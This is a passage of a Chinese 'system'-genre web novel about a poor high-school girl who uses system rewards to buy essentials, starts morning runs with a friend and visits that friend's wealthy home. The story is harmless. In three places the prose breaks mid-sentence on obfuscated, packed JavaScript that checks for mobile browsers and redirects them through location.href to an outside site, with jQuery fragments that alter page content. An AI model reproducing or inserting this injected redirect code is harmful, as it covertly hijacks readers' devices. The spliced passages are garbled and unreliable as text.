徐婷婷的家在偏远乡下，回去要坐一个半小时的车，还要步行一个小时山路，没必要把半天假期用在回家上。因此，她的周日下午通常在宿舍或教室里度过。 “徐婷婷，一起去喝奶茶吗？” 不同于以往，舍友们结伴出门时，叫了她一声。 “我们去外面玩，你有东西要买吗？要我们帮你带吗？” 阳光照进走廊，空气中的浮尘被染成金色，舍友们的笑容显得灿烂明媚。 徐婷婷下意识地想要拒绝，就像她从前那样。 可是她的话到了嘴边，出口后变了样子：“好啊，我也要出去，你们能等我一会儿吗？我上个厕所，马上就好！” 陆晨曦告诉她的，别人向她释放善意，她应该视情况接受，不能老是拒绝。 正好她也有事出去，何必做孤僻的独行客？ “你快点哦，我们不想久等！”舍友喊道。 徐婷婷听到她们用正常的音量聊天： “跟婷婷出门我觉得会更安全，虽然她个子不高，但是她好有气势的！” “哈哈，可不是谁都敢打嘴贱男生的！婷婷看着文静胆小，发脾气了最能吓唬人！”一嗓子朝着厕所方向，“别误会哦婷婷，我不是说你长得吓人！” “我知道。”徐婷婷听得出，舍友没有任何恶意。 女生们一起出了校门，路上吱吱喳喳的，聊天声没断过。 徐婷婷不怎么开口，可她们偶尔会问她的意见，她便不觉得她和她们存在隔阂。 学校附近没有新鲜事物，舍友们要到街上。徐婷婷与她们道别，走进路边的小理发店，这儿剪头发便宜。 “你打算怎么剪？” 理发师是个中年女人，让徐婷婷在镜子前的椅子坐下，给她系上罩住全身的大围裙。 徐婷婷看着镜子里的女孩，她刘海厚重，遮住眼睛，散发出阴沉压抑的气息。 好心同学怎么建议来着？ 徐婷婷回忆着，拨开刘海露出额头，看起来似乎精神了点儿。 十五分钟后，徐婷婷换了新发型。 短发，三七分，左侧别上理发师送的小夹子，露出整张脸。 附近有一家银行，也是徐婷婷的目的地。 她没卡，翻着系统的使用说明，在自动取款机前操作了几分钟，哗啦啦一阵响声，三张红彤彤的百元钞票被出钞口吐出。 这是系统奖励她的零花钱！从系统账号里提出的！ 账号里还有300元，徐婷婷暂时没想好怎么用，她这两天没触发任何事件，觉得系统奖励要省着花。 至于取出来的300元，徐婷婷也没有制定使用的计划。 她想换掉脚上陈旧破损的帆布鞋，想尝尝舍友们爱喝的奶茶，想买一套新衣服，想拥有手机，想要漂亮发夹，想要香喷喷的洗发水和沐浴露，想要好用的笔…… 奶奶给她的生活费很少，而且每块钱都安排了用处。 一元五毛的肥皂能洗澡洗头，二十元的鞋能穿上两三年，四季衣服捡亲戚们不要的可以穿很久，书包不如蛇皮袋，淘汰的日历当草稿纸还得写两面…… 拂去脑海里关于奶奶和钱的种种记忆，徐婷婷进了旁边的小超市，用挑剔的目光审视货架上包装得花花绿绿的商品。 方便面，想吃！ 饼干，想吃！ 沙琪玛，味道想不起来了，不爱吃。 蛋黄派，很好吃…… 哇！是果冻！好想买一个尝尝！ 担心自己经受不住蛊惑，徐婷婷快速走过即食食品区，来到日化商品区。 牙膏快用完了，买一支新的！ 牙刷用了好久了，毛都翘起来了，必须换！ 啊，为什么牙刷这么昂贵！牙膏也是买不起的价钱！受惊似的放下十几二十块一支的牙刷，徐婷婷选了一元一支的，又选了便宜的牙膏。 想起自己三块钱买的漱口杯子已经泛白，她犹豫了好一会儿，买了五块五的漂亮杯子。 脸盆，想要一个新的！水桶，也想要个新的！ 洗衣液好贵！洗衣凝珠是什么东西？ 毛巾都用到破洞了，换个新的吧！洗脸巾她没有，好想买！梳子断齿了，换新吗？超市的镜子好漂亮…… 挑挑拣拣地权衡了许久，徐婷婷捧着一大堆东西去柜台，看到有个女生拿了几包卫生巾正在付款，才发现自己忘了买必需品。 卫生巾总是卖得很贵，她站在放得整整齐齐的卫生巾展示架前，飞快地算了算。 日用的几乎每片都要一块多，夜用的更贵。 以往她总是挑最便宜的买，沾满血才舍得换掉。因为奶奶只肯给她十块钱，她完全做不到日用款两小时换一次。 每次月经期间，她都觉得身上一股怪味，害怕被别人闻到，不敢离别人太近，不敢看别人的脸，生怕在别人脸上看到嘲笑的表情。 这种害怕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14294163|152137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在月经离去后并不会消失，它依然存在。 徐婷婷嗅了嗅自己，没有怪味。 购买卫生巾的时候她总是急匆匆地找到最便宜的商品，遮遮掩掩地拿去付钱，而收银员往往会把卫生巾放进黑色塑料袋，传递了它见不得光的暗示。 现在，她站在货架前，仔细地挑选。 兜里的钱让她显得从容。 【叮！你触发了生活事件】 【面对琳琅满目的月经用品，你决定——】 【选项一：选最便宜的，获得每月30元月经补助和《月经常识》】 【选项二：选价格中等的，获得每月50元月经补助和《月经常识》】 【选项三：选最贵的，狠狠地用！获得每月100元月经补助和《月经常识》】 这也算生活事件？ 徐婷婷有种购买卫生巾是一件很重要的事情的感觉。 她的手指落在价格标签上，最贵的要十几块钱，就算系统奖励很多，她依然认为最贵的卫生巾不值得。 一块多一片，用两小时，来一次月经得花多少钱在上面啊？ 但是徐婷婷想对自己好一点，过去的经历让她产生了微妙的报复心理，凭什么她不能用好一点的卫生巾呢？奶奶给的十块钱月经费让她月经期间羞于面对别人，她给自己用最好的，是不是能在月经期间大大方方地和别人相处？ 徐婷婷拿了最贵的卫生巾。 【叮！你完成选项三，本月的100元月经补助已发放至账号，该补助仅能用于购买月经用品，《月经常识》正在发放】 购买商品令人快乐。 徐婷婷结了账，满足地看着超市收银员把她的东西一一放进袋子里。轮到卫生巾时，她目光闪了闪，收银员却毫不避讳，把卫生巾和普通日用品放在一块。 收银员把袋子推来：“你的东西，有点儿沉。” “谢谢。”徐婷婷提起袋子，跟往返家和学校带的书相比，它并不沉。 她还要去买鞋，好在鞋店距离不远。 买鞋并没有触发系统的生活事件，徐婷婷买了一双新的帆布鞋和两双新袜子，直接在店里换上。旧鞋扔进垃圾桶，破洞的旧袜子令她试鞋时羞耻万分，完全不敢和售货员对视，自然是扔掉。 隔壁是卖衣服的，徐婷婷给自己买了一套新衣服和两套内衣裤。 随后，她进了厕所，里面没人，可以放心地使用神奇的迷你随身空间。 【背包（1格）：一袋东西】 负重归零，徐婷婷一身轻松地回返学校。 也是巧得很，宿舍没人，她把【背包】里的东西取出，该换的换，该扔的扔，新衣服全部洗一遍，晾干了就能穿。 【叮！《月经常识》已送达学校门口，请领取】 收到提示，徐婷婷去把书拿回来，寄件人仍是那个图书公司。她好奇地打开书，只见扉页写着一句话： 人类和月经来自同一个地方，没有月经就没有人类。 真的吗？ 徐婷婷回想生物书的内容，发现这句话是正确的，对月经的认知顿时受到了冲击。 都说孕育生命是神圣的，怎么月经这种和孕育生命息息相关的生理现象却被视作污秽？ 她往下翻阅，然而书上全是生理相关的知识，什么初潮、月经周期规律、月经用品等内容写了不少，月经忌讳文化是完全没有的。 疑惑在心底堆积，得不到解答，也没有人讨论，徐婷婷皱着眉，只得暂时放下。 5. 帮助你的原因 下午四五点，外出的舍友们陆续归来，宿舍迅速恢复人气。 大家注意到徐婷婷的新发型：“哇，你看起来不一样了，谁给你剪的头发？好看！” 徐婷婷羞涩地笑笑，逐一回答她们的问题。 随后，有人发现她的新鞋，惊讶地说道：“你终于舍得换掉原来那双鞋了吗？我觉得你还会穿一段时间呢！” “旧鞋我扔掉了。”徐婷婷局促地捏着衣角，担心自己换了新的生活用品会让舍友们露出异样的眼神，解释道，“我亲戚给了我零花钱。” “那你亲戚对你挺好的，我亲戚从来不给我零花钱。” “给了多少呀？” “这是人家的隐私，不要问了，不礼貌。” “问一下鞋子多少钱可以吧？” 徐婷婷老实地说：“三十五块钱买的。” “还行，不过鞋子还是网购便宜，十五块一双！”立刻有舍友炫耀自己会买东西，“便宜的鞋子不怎么耐穿，三个月换新的，我觉得很划算！” “我倒是觉得贵的好，不用担心穿着穿着就破了，也不用经常买。” 舍友们展开了热烈的讨论。 不再被关注的徐婷婷悄悄地松了一口气。 每次她换新物品，奶奶看到了总会盘问一番，然后数落她不懂得爱惜东西、贪慕虚荣，让她对换新物品充满负罪感。 幸好，她住在宿舍，不在家里，奶奶根本不知道她干了什么！ 而她的舍友，她们并不会指责她浪费，她们只关心她买的东西好不好看、值不值得。 周日傍晚的洗澡水照常供应，徐婷婷用了新的洗发水和沐浴露，走出卫生间时整个人香喷喷的。舍友们都有自己的洗发水沐浴露，她感觉自己在朝她们靠拢，没那么格格不入了。 阳台上没人，她往宿舍里看，大家聚在一起不知道干嘛。 走近了徐婷婷才知道，一位室友网购了体重秤，大家正轮流称体重呢。 “婷婷你也来称一下吧，你应该是我们宿舍最轻的。”室友笑着对她招了招手，“我还买了一卷尺，可以量身高，计算BMI指数。” “什么指数？” “身体质量指数，用来判断一个人是胖是瘦。”陆晨曦的声音随着她的人一起出现。 她笑容满面地扬起手跟大家打招呼，如同大明星开粉丝见面会：“Hello，爱卿们！朕回宫休息半日，你们有没有想念朕？” “来，给我算算指数！”大家不客气地说。 “身高体重告诉我。”陆晨曦掏出手机，“体重除以身高的平方，你们也能算。” 测体重只需往称上一站，卷尺测身高要贴墙站立，测墙高，徐婷婷很快便知道了自己的数据。 体重37.46KG，全宿舍最轻！ 身高149cm（女主会长高！真的会长高！系统保证！），全宿舍最矮！ 身体质量指数16.9，体重不足，全宿舍最低！ “你真的好轻哦！”陆晨曦毫不费劲地把徐婷婷抱起来，转了一圈放下，注视着她的目光中带着担忧，“婷婷，你的身体不是很健康，我怀疑你营养不良，可能还贫血了。” “你好瘦！”一位室友捏捏她的手臂，“细细的，太脆弱了，真想不到你能一巴掌扇在张浩文脸上，你太有勇气了！” 大家说起张浩文挨巴掌就都笑了。 有人出主意：“婷婷，你亲戚不是给了你零花钱吗？你别乱花，充到饭卡里，每天去食堂点肉菜吃。” 立刻有人吐槽：“食堂的菜那么难吃！” 于是话题偏移到食堂饭菜难吃上，大家争执。 “那个……”徐婷婷弱弱地发表自己意见，“食堂的菜，我觉得挺好吃的。” “你没开玩笑吗？”大家诧异。 “没开。” 众人无语。 陆晨曦埋头看手机，在小红书里找到一个帖子，招呼大家来看：“觉得食堂好吃的人，家里的饭菜通常比食堂更难吃。所以，大家懂了吧？” 众人都笑了，有第二个人承认帖子所言非虚：“我也觉得食堂菜好吃，我家里的菜比不上食堂，没准婷婷家也是。” “为了婷婷的健康着想，让我来监督婷婷的每日三餐吧！”陆晨曦大手一挥，“张浩文那狗啃的臭玩意没准对婷婷怀恨于心，婷婷不变健康一点我会很担心她被欺负！” “我呢？我呢！”买体重秤和卷尺的女生不高兴了，佯装生气，“我减肥，晨曦你居然不肯监督我的三餐，我的心碎了！” 陆晨曦是个特别体贴的人，闻言立刻抱起这个女生，稍微吃力地转了一圈再把人放下，笑道：“你只是有一点点超重，一点点！没必要减肥！你也不想上着课的时候饿得两眼发黑，肚子咕咕叫吧？” 女生嘟囔：“胖，不好看……” 打量着女生，徐婷婷不由得说：“张浩文那么难看也没见他努力变美……” 大家一下子安静了，纷纷看向徐婷婷，吓得徐婷婷往后缩。 “好有道理！” “我竟无力反驳！” “凭啥咱们女生一个比一个爱漂亮，他们男的一个个丑得千奇百怪？” 陆晨曦为徐婷婷的发言鼓掌，总结道：“身体健康才是最好的！我们明年高考可是要考体育的，身体素质跟不上，高考分数可就落后了。节食减肥不如锻炼身体，我有个主意，每天早上起床先去跑一圈，你们觉得怎么样？” “不！”舍友们一致反对，“周一到周五每天早上都要跑，你难道没跑够吗？” 而徐婷婷触发了生活事件。 【对于陆晨曦每日晨跑的建议，你决定——】 【选项一：欣然答应，获得运动服1套（包括内衣裤）、运动鞋1双、袜子1双，每日发放初级营养补充剂1支】 【选项二：委婉拒绝，获得初级营养补充剂7支】 【选项三：你冷冷一笑，斜睨陆晨曦：“跑两圈是看不起谁？我能把你累垮！”获得运动服2套（包括内衣裤）、运动鞋2双、袜子4双，每日发放初级营养补充剂1支】 喂，选项三这么狂真的没问题吗？ 徐婷婷略有意动，认为选项一更适合自己。 但是，可能是选项三奖励比一多了一倍，把她蛊惑了，她选择了选项三。 苍天啊！徐婷婷内心发出尖叫，后悔情绪来得比什么都快。 她怎么会选三！ 【请使用者完成决定，半途而废无法获得任何奖励】 奖励绝对不能放弃，徐婷婷硬着头皮，自以为冷冷地一笑，斜睨个子高挑的陆晨曦，用念台词的语气说：“跑两圈是看不起谁？我能把你累垮！” 啊！好羞耻！太羞耻了！ 她为什么要选三，她这是折磨自己！ 念完台词，徐婷婷已经不敢看陆晨曦的眼睛了，只想即刻人间蒸发。 【叮！你完成选项三，奖励正在发放】 “哈哈哈！”陆晨曦爆笑，“徐同学被霸道总裁附身了吗？说话好奇怪，但是超可爱的！我应下你的挑战了，每天起床晨跑，谁坚持不了谁是赖皮小狗！” 她起哄，舍友们没有一个不笑的。 徐婷婷的脸红透了，尴尬得不知道怎么回应，匆匆撂下一句我去洗衣服便逃走了。 上完晚自习课，徐婷婷拿到以快递方式送达的奖励。 不同于白天购买的衣服，系统奖励的运动服没有任何商标，完全贴合她的尺寸，散发着晒过阳光的味道，拆开包装就能穿在身上。 鞋子袜子非常合脚，她从未穿过这么舒服的鞋子，白天买的帆布鞋被对比得全是缺点。 初级营养补充剂被彩纸包裹，像一根普通的巧克力棒，吃起来也是巧克力味的，徐婷婷希望它让她变得更健康。 她不想做小矮子，想长高！ 第二天一早，起床铃声还没响起，徐婷婷就醒了。 按照昨天晚上的约定，她叫醒了陆晨曦，陆晨曦睡得迷迷糊糊，赶苍蝇似的挥挥手：“别吵我，我还要睡！” “不晨跑的人是赖皮的小狗！”徐婷婷推她，“小狗狗起床！” 陆晨曦不得已，带着一身怨气坐起，揉着眼睛说：“我后悔提议晨跑了！” 后悔归后悔，晨跑还是要跑的。 陆晨曦把所有人叫醒：“想去晨跑的，出发了！” 徐婷婷换上运动服运动鞋，跟陆晨曦走出宿舍。 舍友们没有一个愿意牺牲宝贵的懒觉时间，出发的就她俩。 天色微明，冷风吹在皮肤上有点儿冷，宿舍附近的操场冷冷清清，跑道上已经有十几个人在跑步了。 陆晨曦说道：“先跑一圈，我要了解你的身体素质，锻炼是适量的，不能过量。” 徐婷婷点点头，两人来到跑道上，开始慢跑。 没跑几步，徐婷婷便吃到了新发型的苦。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14294164|152137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她的头发没长到可以扎起来，也没有短到不影响运动的程度，跑起来，头发在脸上乱甩，变成妨碍视线的累赘，她不得不一边跑一边整理。 剪头发之前，她跑步也被头发妨碍，只是那时没有陆晨曦作对比，身边的女生跑步也是头发乱甩，徐婷婷便不怎么在意。 她更在意的是跑步会让胸晃动，她的内衣太宽松，平时穿着无所谓，运动时难受得很。 两人跑得不快，陆晨曦看着徐婷婷：“你没有运动发箍？运动内衣也没穿？别害羞，女生聊这个很正常的，你有的烦恼我也有。” 朋友之间要坦诚，徐婷婷小小声说是：“我、我不懂这些。” 陆晨曦很乐意教她，停下来：“我们回一趟宿舍，你得换内衣。衣服种类很多，运动服运动鞋运动内衣都是运动穿的，袜子也有运动专用的，穿着运动更舒适。运动发箍我没有，你先找人借一个。” 陆晨曦也是短发，不影响运动的短发，不需要发箍。 对徐婷婷来说，所有衣服都是穿的，运动服和别的衣服没有不同。 她的家境无法支持她购买运动服、运动鞋等装备，她感谢系统贴心的奖励，让她得以在陆晨曦面前保留了些许颜面。 二人重回跑道，陆晨曦说：“跑步是这样跑的，手不要放在胸前，头别埋着，抬起来。我给你演示一下，这样的姿势跑步更轻松，对身体更好。” 一个教，一个学，她们跑完两百米。 陆晨曦跟没事人一样，徐婷婷停下来喘气，羡慕陆晨曦的体能。 早餐还没吃，两人回宿舍洗脸，一起去食堂。 徐婷婷点的是白粥榨菜，陆晨曦让她换成皮蛋瘦肉粥，再加两个煮鸡蛋。 “早餐要营养搭配均衡，你吃得这么素，身体质量指数能提高才怪！今天我请你，到了上午最后两堂课，你会知道早餐吃好有多重要！” 说完，陆晨曦刷卡。 这时候，触发了生活事件的徐婷婷正在做选择题。 【选项一：欣然接受请吃饭，获得每日100元伙食费】 【选项二：委婉拒绝陆晨曦，获得每日100元伙食费】 【选项三：掏出自己的饭卡炫耀余额，霸道地告诉陆晨曦：“女人，你的早餐我请了！”获得每日100元伙食费】 很好，奖励一样！ 那就选择最适合自己的选项二，徐婷婷有了决定。 【叮！你完成选项二，100元伙食费已发放至账号】 拿着早餐，两人找位置坐下。 “婷婷。”陆晨曦严肃地注视她，“你拒绝了我的好意，让我难过，你得安慰我。” 徐婷婷一愣，连忙道歉：“对不起！”她解释，“我知道你对我好，但我不想欠你，我希望我们之间是平等的。我的亲戚给我钱，给我伙食费，我吃得起饭。” “可是你点白粥榨菜。” “你让我换别的，我换了。” 陆晨曦这才肯笑了：“明天你也不能吃白粥榨菜，那太没营养了。” 徐婷婷乖乖说好。 陆晨曦忍不住摸了摸她的头，轻声说：“我好像明白了，为什么霸道总裁会喜欢小白花。” “为什么？”徐婷婷看的言情小说很少。 “因为倔强的小白花格外惹人怜爱。”陆晨曦笑道，“就像你。你长得这么瘦小，却狠狠打了张浩文一巴掌，你真的好厉害。” 她说出帮助徐婷婷的原因：“知道我为什么陪你去见班主任吗？你打了张浩文那天，我在宿舍见到你，你看起来慌慌张张的，仿佛随便什么动静都能把你吓个半死。可是你给班主任打了电话，你跟班主任说话的时候，变得很冷静，很镇定。你给我一种感觉，不需要家长插手，你一个人就能把打人这件事处理得很好。这样的你，脆弱又坚强，很吸引我。” 徐婷婷想不起自己在手机上和班主任说话时的心情了。 陆晨曦叙述中的她让她感到陌生，她不觉得自己身上存在着吸引陆晨曦的特质，她固然疑惑陆晨曦的帮助，可她没有想太多，她以为陆晨曦乐于助人。 听得徐婷婷的话，陆晨曦乐了：“如果我真的心地善良，乐于助人，当我听到张浩文叫你‘贞子’，我会狠狠训斥他。可是我没有。我从前对你视而不见，因为我只能欣赏强者，不会怜惜弱者。” “所以，”陆晨曦看着她，表面镇定，心里忐忑，“你还愿意和我做朋友吗？” 6. 去好朋友家做客 周一早读，即便是高三班级，也比平时显得懒散些，同学们似乎还没从周日的半天假期中回过神来。班主任陈若龙从教室外经过，不禁摇摇头，决定在班会上多讲几句。 高考没剩下几天了，不抓紧时间努力，以后再想努力都没机会了。 随即，陈若龙想到徐婷婷和张浩文，特地关注了两个人一眼。 徐婷婷认真读书，完全没发现她这个班主任。 张浩文还是老样子，懒懒散散，被她发现和邻座说话，便拿着书假装认真。 至于陆晨曦，这家伙对班主任眯眼一笑，视线不慌不忙地回到书上，着实令人无奈。但陆晨曦的家境在班上数一数二，成绩名列前茅，陈若龙不是很操心她。 早读结束要参加升旗仪式，回到教室的第一堂课是语文课，陈若龙教的便是语文。上课后她勉励了大家几句，发下试卷：“这次小测将会全级排名，都好好考试，验证一下你们这段时间的学习成果。” 除了语文，别的科目也在上课时发下试卷。 徐婷婷从上午考到下午，从下午考到晚上，第二天早上起床和陆晨曦一起晨跑二百米，上完早读下楼和全班同学一起绕着教学楼、宿舍楼跑了整整两圈，又回到教室继续考试。 考到上午结束，所有试卷做完了，她才松了口气。 食堂里，徐婷婷与陆晨曦围着一张桌子吃饭，后者问：“你考得怎样？” “感觉不差，我没对答案，只是我状态挺好的。”徐婷婷说，“我希望这次能进步。” “回宿舍测一下体重，健康有没有进步，比考试结果更快知道。”陆晨曦不喜欢今天的菜，见到徐婷婷吃得香，也多吃了几口。 对比一天半前测的体重，徐婷婷重了一点，她在本子上记录体重，躺下午休。 小测语文试卷在周三上午发下来，徐婷婷考了109分，得到陈若龙赞赏的目光，她心里美滋滋的。 成绩真的进步了！ 不只是语文，徐婷婷的数学、英语、物理、化学等科目都较之前有进步，虽然进步幅度不大，班级排名却上升了十八名之多，成绩跻身于中上游。 自己考场得意，难免要关注一下别人。 徐婷婷跟优等生陆晨曦比不了，便瞧了张浩文的成绩。 比她低啊，嘿嘿嘿！ 难掩面上的喜色，徐婷婷望向后座的张浩文，他正好看来，脸上隐约带着怨恨和不甘。 她会一直比他优秀的，徐婷婷坚信。 时间过得飞快，眨眨眼的功夫，周五到了。 按她们这座高中的规矩，上周是小周，周六日自习，本周被称作大周，放假两天，让离家远的同学回家和亲人团聚。 小周的周五不放假，大周的周五下午只上三堂课，上完课就能收拾书本，各回各家。 徐婷婷打算留校，陆晨曦问：“你不想念你的家里人吗？” “不是很想。”徐婷婷测了体重，照常记录下来，“坐车回家要花钱，留在学校省了来回的路费，学习环境也比家里好，我喜欢留校。” “留校你要交伙食费。”陆晨曦支着头，拿起她的记录看起来，“每天增重一点，你五天增重了三斤多，我怎么觉得你看起来和五天前一样瘦？” “可能是你天天盯着我看，没感觉到我变化。”徐婷婷自己对自己的变化感受最深。 每天一支营养补充剂，早餐吃好，午晚饭加了荤菜，她的胃口越来越好。上课时、学习时，她的注意力更集中，精神充沛，思维清晰，记忆力好像也比从前更好。 要是再考一次小测，她能拿到更好的成绩！ 陆晨曦目不转睛地打量徐婷婷，拿起舍友的卷尺：“测一下身高。” 不一会儿，陆晨曦发出惊叹：“噫！不得了！我的好婷婷，你长高了一厘米！” “真的？”徐婷婷惊喜。 “哼，骗你干嘛？”陆晨曦打开手机计算她的身体质量指数，“17.4！你更健康了，再努力一段时间就能达到正常体重。” 她用欣慰的眼神看着徐婷婷：“所以，为了你的健康，为了我这一周的努力不会白费，你必须跟我回家做客！我明天早上要和你一起锻炼，还要严格监督你的一日三餐，不能让你的BMI下降。” 徐婷婷把卷尺还给了舍友，提出另一种解决方法：“但是，晨曦，你可以留校的。” 陆晨曦沉默了。 陆晨曦轻轻拍了一下徐婷婷的头：“哼，故意跟我抬杠！我偏不迁就你！” 二人谁都无法说服谁，最后选择折中。 两天假，留校一天，做客一天。 把徐婷婷带回家就算赢！陆晨曦高兴地打电话告诉家长自己的同学会来家里做客，兴致勃勃地跟徐婷婷商量：“你想怎么去我家？叫我妈妈开车来接我们？还是我俩骑共享单车回家？坐公交我也可以的哦，就是放学了人很多，公交会很挤，我不太喜欢挤公交。” 挤公交的苦头徐婷婷每次回家都要吃一回，不想再吃。 她说：“很遗憾，我想和你骑共享单车，然而我不会骑自行车。” “那就叫我妈妈来接我们！”陆晨曦双手一拍，“打包行李吧，我家里牙膏牙刷毛巾拖鞋等东西都有新的，你可以不带，衣服不想带可以穿我的……唔，好像你啥都可以不带，除了作业。” 拜访别人要礼貌，徐婷婷把自己的生活用品都带上，教科书、试卷、作业、文具也没有遗漏。 陆晨曦的妈妈开着小汽车来学校，徐婷婷害羞地向她问好。 “听说你是个勇敢的好孩子，我很喜欢你的勇敢。”陆妈妈温柔地摸了摸她的头，“不要感到拘束，晨曦邀请你做客，我也很高兴你能来做客。” 小汽车这种交通工具，徐婷婷没有坐过。 是陆晨曦开的门，陆晨曦让她坐哪她便坐哪，她小声跟陆晨曦说：“你妈妈好温柔。” 陆晨曦笑笑。 车子开了十来分钟，驶进一座别墅，在车库前稳稳停下。 徐婷婷下了车，如同乡下人第一次进城，充满好奇地参观陆晨曦的家。 她知道陆晨曦家里有钱，没想过陆晨曦家里这么有钱，住的竟然是漂亮大别墅，房子好看得像书上的宫殿！ 好想拥有这样的家啊！ 陆晨曦住在二楼，把徐婷婷安排在隔壁的大房间。 这个房间有独立的浴室，浴室旁边是厕所，马桶高级得令人害怕。 “我不会用！”徐婷婷理直气壮地说，“我穷，没见过世面，花洒都不会开。” “来来来，我教你用，很简单的。”陆晨曦憋笑，“家里的所有工具，都是为了让你的生活更舒适便利，使用它们通常没有难度，否则它们会被市场淘汰掉。” 正如她所言，马桶和花洒的使用方法非常简单，徐婷婷轻松掌握。 “先洗个澡吗？”陆晨曦擦掉手上的水珠，“如果你不急着洗澡，我们干点别的，你想不想和我打游戏放松一下？” 【叮！你触发了生活事件】 【陆晨曦邀请你一起玩游戏，你决定——】 【选项一：答应她，获得200元零花钱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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“没事的，随便玩，记不清操作可以看游戏设置。”陆晨曦笑呵呵地说，“玩多了就会了。” “呀，游戏画面变暗了，音乐也有点阴森……”徐婷婷发现游戏发生了变化。 “那是游戏里的时间进入黄昏。” “咦，屏幕黑了……” “游戏里也有黑夜，不要慌。” “我人没了！变成恐怖的鬼魂了！” “因为你被黑暗攻击了，作祟骨架可以瞬间复活。” “我活了，人又没了！又被黑暗打了！” “哈哈哈！”陆晨曦坏笑，“因为你没有光，所以你会被打，天亮再复活吧。这个游戏是有一点难度，但是很好玩，多死几次就会了。” 徐婷婷看向陆晨曦的电脑屏幕：“你不是和我一起玩吗？你跑哪里去了？我看不到你。” “我正在捡垃圾养你！” 如陆晨曦所言，游戏很有趣，玩起来令人上瘾，忘记时间。 当徐婷婷困到屡次打哈欠，瞥了一眼时间，顿时被吓了一跳：“十一点了！要睡觉！” “玩嘛，再玩一会儿就睡！我好久没玩了，熬点夜咋了？”陆晨曦沉迷游戏。 “明天要早起锻炼身体！”徐婷婷不想熬夜，“我关掉游戏，回去睡觉了。” “呜呜呜，明明游戏这么好玩，你居然还睡觉，你到底是不是人？”陆晨曦一个人玩没劲，幽怨地望着徐婷婷离去的背影，“明天早上我要狠狠地锻炼你！” 7. 勇于尝试 陆晨曦家的被子很软，枕头有香味，穿居家服睡觉比普通衣服更舒服。徐婷婷在早上六点半准时醒来，睁开眼睛看到米色的天花板，不由自主地笑了。 以后，她也要拥有自己的房间，不用很大很漂亮，只要空间完全属于她就够了。 尽情幻想了一会儿未来的家，徐婷婷打开系统属性面板，看自己的数据。自从她在舍友的邀请下测了身高体重，原来的属性面板没有变化，却细分出一个体质面板。 【使用者：徐婷婷】 【年龄：17岁】 【身高：150.5cm】 【体重：41.58KG】 【BMI：18.4（距离体重正常还差0.1）】 【血糖值：4.2】 【肺活量：2224.5】 …… 她的身体数据都清晰地出现在体质面板上，每小时自动更新一次，想知道实时数据可以自行刷新，但历史数据不可查询。 徐婷婷不是职业运动员，她只关心身高体重和BMI，系统为她省了体重秤和软尺的钱，她喜欢这个功能。 比起昨天，她又长高了两毫米！ 在发育停止之前，她至少要达到160cm，保持营养充足应该能达到吧？ 十七岁了还是一个小矮子，徐婷婷对长到160cm这个目标并没有多少信心。不过，尽力就好，有些事强求不来。 切回属性面板，徐婷婷也看了一眼。 【使用者：徐婷婷】 【性别：女】 【力量：6（↑1）】 【敏捷：5（↑1）】 【体质：5（↑1）】 【智力：7（↑1）】 【技能：无】 【道具：无】 【背包（1格）：一盒东西】 【商店：待解锁】 【社区：待解锁】 【金钱：500元（展开折叠查看月经补助和伙食费）】 【人生事件：参加高考（进行中，可取消）】 【生活事件：⑴选最贵的月经用品，狠狠地用，每月获得100元月经补助；⑵坚持晨跑，每日获得初级营养补充剂1支；⑶好好吃饭，每日获得100元伙食费】 对比刚得到系统那会，徐婷婷的力量、敏捷、体质、智力都增加1点，可喜可贺。 背包里的一盒东西包含她手上的全部现金、饭卡、水卡等物品，不用随身携带，虽然拿取有点麻烦。 金钱不包括月经补助和伙食费，月经补助暂时不知道，伙食费用不完能存着，但是伙食费只能用于买吃的，不用拿来买别的。 至于生活事件，晨跑、吃饭都是日常任务，每日刷新一次。此外，可能系统也觉得每天快递初级营养补充剂给她很麻烦，改成每周一送7支营养剂给她，不晨跑则回收当日营养剂。 是时候起床跑步了！ 徐婷婷揉了揉有点困倦的眼，先去隔壁房间敲门：“晨曦，起床跑步。” “我好困，别吵！”陆晨曦又在赖床。 知道她起不来，徐婷婷说：“晨曦是赖皮小狗。” “今天我非要做小狗！”陆晨曦哼哼唧唧，随后一声尖叫发出来，“六点半！好不容易放假还不能睡懒觉！徐婷婷，你有没有良心！” 徐婷婷没有良心，徐婷婷回客房洗漱，决定让陆晨曦好好地睡个早觉。 反正她一个人晨跑也能拿到每日营养剂。 好吧，其实她害怕陆晨曦烦她，不再跟她做朋友。她就这一个朋友，很稀罕，不想失去，害怕失去。 洗完脸，徐婷婷看着镜子里的自己，头发要不要剪短点？半长不长的跑步不方便，总是要戴运动发箍，很麻烦。 借舍友的运动发箍要还回去，她买了一个运动发箍，总不能用了几次就扔掉吧？ 想到这里，徐婷婷放弃了剪发的念头，她实在舍不得花在运动发箍上的钱。 将运动发箍戴上，居家服换成运动服，拖鞋也换成运动鞋，徐婷婷准备独自出门跑步。路过陆晨曦房间时，她停下，犹豫着要不要再叫一次陆晨曦起床。 